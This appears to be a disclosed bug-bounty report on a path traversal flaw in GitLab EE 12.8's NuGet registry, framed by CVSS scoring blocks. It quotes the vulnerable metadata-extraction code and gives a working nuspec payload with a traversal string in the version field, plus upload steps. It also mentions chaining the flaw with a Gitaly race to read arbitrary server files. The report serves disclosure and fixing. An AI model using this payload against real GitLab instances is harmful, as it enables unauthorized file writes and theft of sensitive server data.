5.3 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
0.001 Low
EPSS
Percentile
39.3%
There’s a path traversal issue in Nuget package registry which was released to GitLab-EE recently. The issue allows an attacker to create any file with an extension “.nupkg” in the filesystem. By combining the bug with a race condition in Gitaly which I used several times before (#762421, #732330). It could finally be used to read sensitive files in a GitLab instance.
For some context, a large part of the exploit were explained in #762421, the npm registry issue. Here I will focus on the simple path traversal part which makes a little bit difference.
The root cause of the path traversal lies at ee/app/services/packages/nuget/metadata_extraction_service.rb
XPATHS = {
package_name: '//xmlns:package/xmlns:metadata/xmlns:id',
package_version: '//xmlns:package/xmlns:metadata/xmlns:version'
}.freeze
...
def extract_metadata(file)
doc = Nokogiri::XML(file)
XPATHS.map do |key, query|
[key, doc.xpath(query).text]
end.to_h
It extracts the uploaded nupkg (which is in zip format) for the contained nuspec file (which is an XML). And then looks for attribute id
and version
. Then the extracted package_name(id), and package_version(version) will be concatenated into a new filename in ee/app/services/packages/nuget/update_package_from_metadata_service.rb
@package_file.transaction do
@package_file.update!(
file_name: package_filename,
file: @package_file.file
)
...
def package_filename
"#{package_name.downcase}.#{package_version.downcase}.nupkg"
end
So my payload is:
<?xml version="1.0" encoding="utf-8"?>
<package xmlns="http://schemas.microsoft.com/packaging/2013/05/nuspec.xsd">
<metadata>
<id>DummyProject.DummyPackage</id>
<version>../../../../../nyangawa</version>
</metadata>
</package>
name the file above as dummy.nuspec
and zip it into dummy.nupkg
and upload it through PUT /api/v4/projects/#{id}/packages/nuget/
endpoint will make GitLab to create a nyangawa.nupkg
somewhere in the filesystem.
Then I wrote a script (I used in #762421) to combine this issue and the race in Gitaly. I could finally read any file I want in my GitLab instance.
{F750878}
root@localhost:/# gitlab-rake gitlab:env:info
System information
System:
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.5p114
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.7
Git Version: 2.24.1
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 12.8.7-ee
Revision: 2643fd87200
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 10.12
URL: http://10.26.0.5
HTTP Clone URL: http://10.26.0.5/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 11.0.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
ps. I changed my username because of a lost bet, don’t be strange :p
Best regards,
SaltyYolk
Common arbitrary file read issue caused by path traversal similar to my previous reports.
5.3 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
0.001 Low
EPSS
Percentile
39.3%